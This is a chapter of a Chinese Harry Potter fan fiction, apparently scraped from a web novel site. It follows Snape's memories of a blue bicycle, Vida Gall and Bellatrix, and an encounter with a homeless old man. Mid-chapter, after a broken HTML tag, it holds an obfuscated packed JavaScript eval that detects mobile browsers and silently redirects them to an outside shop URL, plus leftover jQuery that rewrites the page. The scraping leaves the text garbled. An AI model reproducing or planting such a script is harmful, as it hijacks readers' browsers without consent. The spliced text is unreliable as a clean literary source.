75.国王
作品:《[HP] 重返乌托邦》 西弗勒斯·斯内普在过去的十几年里并没有再次恋爱,也没有与人结婚,他一直住在蜘蛛尾巷那栋狭窄、昏暗、破旧的房子里。
世界发展是如此快速,将新的变成旧的,将现在变成过去,但是旧的仍旧是旧的,旧的东西早就在过去被时间的树脂浸泡、凝固,变成一颗一颗拙劣的琥珀。
蜘蛛尾巷就是这样。
这栋房子在过去唯一值得称道的地方就是拥有一台私人电话。没有人知道西弗勒斯·斯内普这样一个穷小子是怎么做到的,但是它就是出现在那里。
每次一次电话铃响起的时候,斯内普都会立刻停下手头上的所有事情,接听它。
有时候,是维达·加尔打过来的,她会叫斯内普去她家吃饭、或者告诉他明天店铺不营业,又或者提前对他说给他安排了某某城市的旅游;也有时候是贝拉特里克斯·布莱克打过来,叫他来的时候必须把自己收拾地干干净净、教育他不准和维达·加尔在一起胡闹,或者叫他立刻马上去超市买某个急缺的东西送过来。
正因如此,加尔甚至给斯内普买了一辆漂亮的自行车,它是蓝色的。
斯内普白天骑着自行车上班,晚上骑着它下班,偶尔骑着它给贝拉特里克斯跑腿。他从蜘蛛尾巷骑车、轮子转呀转呀,转到高楼林立的商业区,又转呀转,转到中产阶级最喜欢的超市,然后又去艺术家和潮流人士聚集的别墅区;最后在越来越暗、越来越少的路灯照射下回到自己的家。
有了自行车就要有车棚,可惜在这里,把自行车停在外面是危险的,斯内普只能把自行车每天晚上扛进屋子;自行车会坏,每次扛去修车行也太麻烦了,斯内普又买了螺丝刀和扳手。在自行车来到这个家之后,他学会了擦车、换链条、将手电筒绑在车前以减少车灯使用时间。
他晚上下班后会骑着车在城市里到处乱转,会趁着街道上没人时骑去莉莉·伊万斯家附近,按着清脆的车铃。或许伊万斯也会知道这辆车,又或者她再也不愿意见到斯内普了。但是宝蓝色的车就停在那里。
拥有一辆宝蓝色的自行车是痛苦的,斯内普常常会觉得有人会砸碎窗户,偷走这辆车。即使加尔给他报了旅行团,他也要把车骑去加尔家的车库里,亲自用大铁链拴上才会安心。
为什么会这样呢?
他问维达·加尔。
因为希望是痛苦的来源。
加尔说。
那你为什么要给我那辆车呢?
他说。
因为你需要它。加尔回答。你会感到折磨、痛苦,是因为你觉得你无法保护它,你把它放在我这里,因为你知道不会有人能够在我这里夺走你的车。
维达·加尔在这个夏天学会拉手风琴,她用瘦长像树枝一样的手指轻轻按压琴键的时候,斯内普也不由自主地笑起来。实际上,这段音乐烂透了,断断续续、只有几个音符不断重复。
那天,加尔就在餐桌边上,在用餐时,放下咬了一半的吐司对斯内普说:
“我还会拉手风琴呢。”
说完,她就找出手风琴,围着餐桌一边转圈、一边弹奏。
贝拉特里克斯忍了一会,大叫着“混蛋”让加尔赶紧停下,老实吃饭。
加尔命令斯内普立刻为表演的谢幕鼓掌。斯内普举起手,想像那些纯血家里的同学一样优雅的鼓掌,但是一想到贝拉,又觉得还是随便做几个动作吧。
现在想想,如果一切只停在这个时间段就好了。斯内普仍然是霍格沃茨的学生,暑假就在加尔和布莱克的安排下生活;黑魔王在英国的巫师世界如日中天;维达·加尔和贝拉特里克斯·布莱克依然住在这栋前卫的艺术家别墅里经营玩偶生意。
没有莉莉和詹姆·波特结婚,没有预言,没有婴儿,也没有告密......也没有加尔离开布莱克。
那辆宝蓝色的自行车慢慢坏掉了,斯内普也想不起来去修,后来,大概是被小偷偷走了吧。那个年代的自行车,还是一个牌子货,应该早就被盯上了,哪怕旧了、破了,也总是会有人想要。
斯内普有一次从破釜酒吧出来,不知道怎么的就走到过去上班的那栋楼。玩偶店早就因为没人交房租而被搬空,变成一间巨大的面包店。店员神情疲惫,懈怠地盯着每一个到店的顾客,看着他们有没有将面包装进口袋里。
“这里以前是个玩偶店,你知道吗?”斯内普买了一块面包,借此和店员说。
“啊,哦。”店员愣愣地抬起脖子。
“以前在伦敦很有名。”
“哦。”
“日进斗金。”
“哦。”
“你小时候一定过来买过玩具。”
“哦。”
“你没有印象吗?”
店员看了眼排队的人群,他说:“不好意思,先生,我是恩菲尔德人。”
——恩菲尔德是英国知名的贫困地区。
他的脸上露出令人恐惧的贫穷的、疲惫的、干瘪的微笑。斯内普整个人僵在原地,直到下一个人推了推他。
身后的绅士以恰到好处的被耽误时间之后含着厌烦的礼貌提醒他:“请不要纠缠这个小伙子了,先生。”
店员仍旧微笑着,仿佛周围的一切与他毫无关联。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841009|180430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
更加糟糕的事情发生了:他身上没有带‘钱’。
‘钱’-‘英镑’-‘便士’-‘麻瓜世界流通货币’——怎样解释都可以,总之,斯内普也买不起他拿起来的一块面包。好在他是一个巫师,巫师有很多办法对付麻瓜。
但是那种付不起钱的耻辱仍旧刻在他的心里。
也许我应该把面包放回去。斯内普坐在长椅上,盯着手里的面包纸袋。流浪汉试探地走到他身边,伸出手。
“先生......”衣着邋遢的老年人喊了他一声。流浪汉没有微笑、没有痛苦也没有羞耻,他只是平静地望着斯内普。那双蜡黄色的指节粗大的手心有着厚厚的茧子,茧子反而比他的肤色更白一些,上方还有掌纹那样一条条细细的线。
斯内普像甩开罪恶般将面包扔出去,流浪汉捡起它,坐在相邻的另一张椅子上,两人一个在长椅的左边,一个在另一张长椅的右边。
“感谢您。”流浪汉说。他们隔着一截水泥地的间隙交流,他的口音十分奇怪,有着浓浓的德国腔调。
斯内普没有说话。
“我是在一九三零年出生的,在我小时候,大街上还不是这样。”流浪老人说,“街道上许多士兵,商店里的人都会喊‘万岁,希特/勒’,有时候会拉警报,我和全家人会躲到防空洞里去。”
“英国没有希特/勒。”斯内普说,“现在已经是九十年代了。”
“真的没有了吗?”老人把面包塞进嘴里,“他无处不在。纳/粹、新自由主义、联盟、联邦、合众国、王国、现代艺术......”
他潮湿的蓝眼睛忧郁地望着前方,“我以前见过你,你也应该见过我。”
斯内普猛地转头。
“你是这边一个店长家的孩子,你长得真快,但是一点都没变。”
“你是谁?”斯内普压低声音问他。
“一个逃兵。”老人说。他吃饱了,就离开长椅,想要找一个有太阳的地方躺着。斯内普盯着他越走越远,紧接着,一群骑自行车大声鸣笛的青少年从人行道上穿过。
“一群没有教养的......”他自言自语。
面包只是在他手里转了一圈,什么都没有发生。一家商店失去了面包,一个流浪汉得到面包。斯内普既没有失去,也没有得到,什么都没有发生。
飞蛾从酒杯里爬出来,肥鼓鼓的肚子像是结满籽般疲惫地下垂,维达·加尔平静地望着他的脸。他抖了一下,垂下头躲避她的视线。
“喂。”斯内普的声音闷闷的,但是他终于问出来了,“你当时为什么要离开我们?”

